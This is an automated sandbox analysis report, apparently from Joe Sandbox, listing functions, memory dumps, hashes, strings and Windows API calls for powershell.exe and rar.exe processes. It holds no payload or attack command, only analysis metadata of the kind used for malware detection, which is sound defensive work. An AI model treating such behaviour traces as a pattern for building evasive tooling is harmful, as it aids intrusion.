Opcode ID: e570f86c5d9e595fdc38bd90e3f15f5a93badf67da54eafacdf75b6911775021
Instruction ID: 2f7cca29ed90ac11b55b560b4b6eae714563e2cf9acf6583b7aae5d03727539f
Opcode Fuzzy Hash: e570f86c5d9e595fdc38bd90e3f15f5a93badf67da54eafacdf75b6911775021
Instruction Fuzzy Hash: 14E0EC75814A4C9F8B44EF18D8199EE77E4FB68305B01425BF81ED7160DB31EA58CBC2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFCDFBE7143 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205424181.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 803d86577e41ee5d4296fae9a4692b35ca4f13f27dacb7828353dd23452afaf8
Instruction ID: 8c25434c40b5564de15b72d0e4a74aef68ec6c35fc5b9c0d7752c4f4cfcce0e4
Opcode Fuzzy Hash: 803d86577e41ee5d4296fae9a4692b35ca4f13f27dacb7828353dd23452afaf8
Instruction Fuzzy Hash: ADD0238770F3A6DDE2015208FCA00DD5B28FC911713250177D0984905269044807C175

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6128, Parent PID: 6596COMMON

Executed Functions

Function 00007FFCDFCB183C Relevance: 2.8, Strings: 2, Instructions: 323COMMON

Download Yara Rule

Strings

@X;, xrefs: 00007FFCDFCB194D
@nw7, xrefs: 00007FFCDFCB19C6

Memory Dump Source

Source File: 00000025.00000002.224616786.00007FFCDFCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffcdfcb0000_powershell.jbxd

Similarity

API ID:
String ID: @X;$@nw7
API String ID: 0-3885318253
Opcode ID: 3a97381eebcb60c4fd402510285c79f098d07e7736fd81fee2e2b85f5325be10
Instruction ID: 04077bbcda3f7739385364e319cfdb5d1db6c0b73e9266111ca3c3556efc65d9
Opcode Fuzzy Hash: 3a97381eebcb60c4fd402510285c79f098d07e7736fd81fee2e2b85f5325be10
Instruction Fuzzy Hash: 94910726B0DB9A5FE76A8A2868551BD3BE1FF86264F0801FFD05DC7093DD18AC16C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFCB1AEE Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.224616786.00007FFCDFCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffcdfcb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f55fe35eca88c73f429fb024a11134d1e8efb1a52d80ccea8eb1e871258a260a
Instruction ID: 4463e468e092787f408bf3dc26b21c06b04719a9b5eabaf3d597c30e2f51f818
Opcode Fuzzy Hash: f55fe35eca88c73f429fb024a11134d1e8efb1a52d80ccea8eb1e871258a260a
Instruction Fuzzy Hash: 4C412362F1CA2D1FEBB89A2864515BC73C2FF842A0F5811BBC42EC3086ED18AC11C391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBE6911 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.224473203.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c14a99e7488397c61044af53ec03b92204a4ce632ff262176def7f4d8fda6b
Instruction ID: e0776d4361da33e682cbe00f236cd9b6041d20cba2a25b7e9ef9dc161cf51bcd
Opcode Fuzzy Hash: 11c14a99e7488397c61044af53ec03b92204a4ce632ff262176def7f4d8fda6b
Instruction Fuzzy Hash: EA212A31A1891D8FDF88EB58D455EED77A2FF68744F140166E409D7286CB24E882CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBE6212 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.224473203.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f40ed1f7b0219315804b20afbeb60a71e74cb6dae4d0829754d8dedd3da0e3a0
Instruction ID: 15533be65ed43c7a46aabc7ecc8ad8e0864027effe4e133012720a8978ceb578
Opcode Fuzzy Hash: f40ed1f7b0219315804b20afbeb60a71e74cb6dae4d0829754d8dedd3da0e3a0
Instruction Fuzzy Hash: 3001C43171D90D4FEB4CAA1CE8625B873D1EB95360B1001AED84AC7293DD22F8438786

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBE4635 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.224473203.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c4602cee4c84f07abe60de7fd657edbd04cf2a8b88b27596276fded982b80f2
Instruction ID: f6858ce3d20c7d57526acc42eb1eeb2927518baa0a8f53c48706ea5b70729408
Opcode Fuzzy Hash: 1c4602cee4c84f07abe60de7fd657edbd04cf2a8b88b27596276fded982b80f2
Instruction Fuzzy Hash: DA01677111CB0C8FDB48EF4CE451AA9B7E0FB95324F10056EE58AC3651DB36E881CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFCB0ABD Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.224616786.00007FFCDFCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffcdfcb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b95e634e27e409663f8123737ec678b1a619ad6fed09dd25f4d9670803908c3
Instruction ID: 0fcf2bb3353a09bf58db7e6b51d9d501d9571ef56d2fe9a71cad06d0ab6c46cc
Opcode Fuzzy Hash: 8b95e634e27e409663f8123737ec678b1a619ad6fed09dd25f4d9670803908c3
Instruction Fuzzy Hash: 36F0C213E4D9AE0EF6B2A25828160BC66C0FF80690F4C00B7D02CC6083EC089C14C355

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBE7183 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.224473203.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45779c0a0c5b7c17016d1882502e76f34f42524ce55d9b976144c088fdb12a28
Instruction ID: b755216a790b9c1ca4111fffb7479087d5fab0be6c27082ea91b7dcc864ad38e
Opcode Fuzzy Hash: 45779c0a0c5b7c17016d1882502e76f34f42524ce55d9b976144c088fdb12a28
Instruction Fuzzy Hash: 14F0303275C6084FDB4CEA1CF8529B5B3D1E799334B00016FE48BC2657D927E8438A85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBE71C8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.224473203.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c49af5e8f1d357aa9f76c936d21e476c959a68a1fd6be7c1d73dd96044f49b5
Instruction ID: 39bea8ac3b74f4e0806b568883a3e7c8520b4b35c3f15abcc2487c8616c3d6c4
Opcode Fuzzy Hash: 2c49af5e8f1d357aa9f76c936d21e476c959a68a1fd6be7c1d73dd96044f49b5
Instruction Fuzzy Hash: 28F0373275C6084FDB4CEA1CF4529B973D1E795320B10016EE48BC2697D927F842CA85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rar.exePID: 6692, Parent PID: 4512COMMON

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1170
Total number of Limit Nodes:	32

Executed Functions

Function 00007FF6EE7454C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON

Download Yara Rule

Strings

stdin, xrefs: 00007FF6EE746236
*.%ls, xrefs: 00007FF6EE7459AF
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx, xrefs: 00007FF6EE745935
SND, xrefs: 00007FF6EE745D11
+, xrefs: 00007FF6EE746535
VER, xrefs: 00007FF6EE745EBA
rar.log, xrefs: 00007FF6EE745CE5
default.sfx, xrefs: 00007FF6EE7460F4
NUL, xrefs: 00007FF6EE745DB3
LOG, xrefs: 00007FF6EE745CD0
ERR, xrefs: 00007FF6EE745D40
EML, xrefs: 00007FF6EE745D6B
stdin, xrefs: 00007FF6EE74672D
*?., xrefs: 00007FF6EE74598C
SFX, xrefs: 00007FF6EE7460CC
OFF, xrefs: 00007FF6EE745E4B

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-1628410872
Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction ID: 6e1dde0df9ed8f5b1783e6a3c8e388e799251ecd57c159bc9482710f1cd15309
Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction Fuzzy Hash: 46C2C363A0C59281EF24DE64D0443BD26A1EB21784F574036EA0EC62C5DEFFE966C35B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE731884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON

Download Yara Rule

Strings

rar, xrefs: 00007FF6EE7318AA
exe, xrefs: 00007FF6EE731897
%s%s , xrefs: 00007FF6EE732A46
BK, xrefs: 00007FF6EE7319C5
sfx, xrefs: 00007FF6EE731884
,6, xrefs: 00007FF6EE732F83
q:, xrefs: 00007FF6EE7319DA
.ext, xrefs: 00007FF6EE7318C0

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
API String ID: 0-1660254149
Opcode ID: b8cb1c8fb26abeda722d0fd2213bcde0153c5d502918ca5fc30dbf398b96c1a4
Instruction ID: 69169f29cc68de7b1e2f00c09f8d82cd25782b55699c90de2523bef034ba936a
Opcode Fuzzy Hash: b8cb1c8fb26abeda722d0fd2213bcde0153c5d502918ca5fc30dbf398b96c1a4
Instruction Fuzzy Hash: BBE2E223A09AC285EF60DF25D8483FD27A1FB65788F460031EA4D87796DFBAD564C306

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7748CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6EE774AE0: FreeLibrary.KERNEL32(?,?,00000000,00007FF6EE74CC90), ref: 00007FF6EE774AF5

GetModuleFileNameW.KERNEL32(?,?,?,00007FF6EE767E7D), ref: 00007FF6EE77492E
GetVersionExW.KERNEL32(?,?,?,00007FF6EE767E7D), ref: 00007FF6EE77496A
LoadLibraryW.KERNELBASE(?,?,?,00007FF6EE767E7D), ref: 00007FF6EE774993
LoadLibraryW.KERNEL32(?,?,?,00007FF6EE767E7D), ref: 00007FF6EE77499F

Strings

rarlng.dll, xrefs: 00007FF6EE77493A

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: 4ea004210bc8b62a292722e0c73661c8a5f08de7266e224b8a6e63eb6450ac69
Instruction ID: 65acf57751b2f7a8a46ff1c52bb82b8c8818dab9723633284f8e18d980e3f094
Opcode Fuzzy Hash: 4ea004210bc8b62a292722e0c73661c8a5f08de7266e224b8a6e63eb6450ac69
Instruction Fuzzy Hash: A531943371864285FF649B21E8443E83364FB64785F424035F98D83698EFBED9A5CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7546EC Relevance: 7.6, APIs: 5, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF6EE754620,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE754736
FindFirstFileW.KERNEL32(?,00000000,?,?,00007FF6EE754620,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE75476B
GetLastError.KERNEL32(?,00000000,?,?,00007FF6EE754620,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE75477A
FindNextFileW.KERNELBASE(?,?,00000000,?,?,00007FF6EE754620,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE7547A4
GetLastError.KERNEL32(?,00000000,?,?,00007FF6EE754620,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE7547B2

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction ID: a1b646f3217c91f74d21b73097d316080388608e16bb140c2a9d64953b45d7db
Opcode Fuzzy Hash: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction Fuzzy Hash: 6141B03360868156EF249B25E4403E863A0FB697B4F010735FA7D832C5EFADE1A8C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE74901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF6EE74904D
CryptGenRandom.ADVAPI32 ref: 00007FF6EE749061
CryptReleaseContext.ADVAPI32 ref: 00007FF6EE749074

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: 60c82ed251d4b31ca502e16a7ae0d9d7dd6bc104c98305d8117e7ae9828af31b
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: 71016226B4865182EB108B16F44433AA762EBD4FD0F198431EE4D83768CFBED956C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE78B0E0 Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00007FF6EE78B0E9
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE7948A0

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: 1e255eaa320fee0010fb313d8f9fe48372c1eaef3e81e1b8682bab5b00697f51
Instruction ID: 7e9f161c24704196ace3efa968306d8e82fd3fff9c8d1cffa4dd3854199ab128
Opcode Fuzzy Hash: 1e255eaa320fee0010fb313d8f9fe48372c1eaef3e81e1b8682bab5b00697f51
Instruction Fuzzy Hash: 2FE01232E1E08382EF1836A588962B814911F68320F630235F118C12C2EE9F60F28A1F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE73B540 Relevance: 2.0, APIs: 1, Instructions: 490COMMON

Download Yara Rule

APIs

CharToOemA.USER32 ref: 00007FF6EE73B900

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: 186ef3fc3377d62e9400f60c1346a6d63701ca899d0dd8cde323f7fd028d12cd
Instruction ID: e0677a6d7566b3f2ffe1c2adf006fbd7b03d9d3faf2a78bac12808edf7be2332
Opcode Fuzzy Hash: 186ef3fc3377d62e9400f60c1346a6d63701ca899d0dd8cde323f7fd028d12cd
Instruction Fuzzy Hash: 7022E233A0868296EB50DF30D4442FE7BA0FB60748F494032EA8D87699DFB9E961C755

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE75AE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6EE75B0C7

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e63de1587b23c38c21d4011fcacfed10454f52ca1ed5247f9ca354383f4c6a53
Instruction ID: 442473f88d6251d8019fa4cc1b561e017b053f1b46cb69dfd8ddcc7b8688c558
Opcode Fuzzy Hash: e63de1587b23c38c21d4011fcacfed10454f52ca1ed5247f9ca354383f4c6a53
Instruction Fuzzy Hash: 55712533A0568186DB44DF29E4053EC3391F798B94F054135EB9CCB399DFB9A062C799

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE773EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6EE773EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6EE773E8F,?,00007FF6EE767E90), ref: 00007FF6EE773F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE7743C6

Strings

MENU, xrefs: 00007FF6EE774235
$%s:, xrefs: 00007FF6EE77439E
RTL, xrefs: 00007FF6EE77437A
\, xrefs: 00007FF6EE774519
*messages***, xrefs: 00007FF6EE774080
DIALOG, xrefs: 00007FF6EE774227
DIRECTION, xrefs: 00007FF6EE774243
*messages***, xrefs: 00007FF6EE774050
@%s:, xrefs: 00007FF6EE7743A5
,, xrefs: 00007FF6EE7743FB
STRINGS, xrefs: 00007FF6EE774219

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
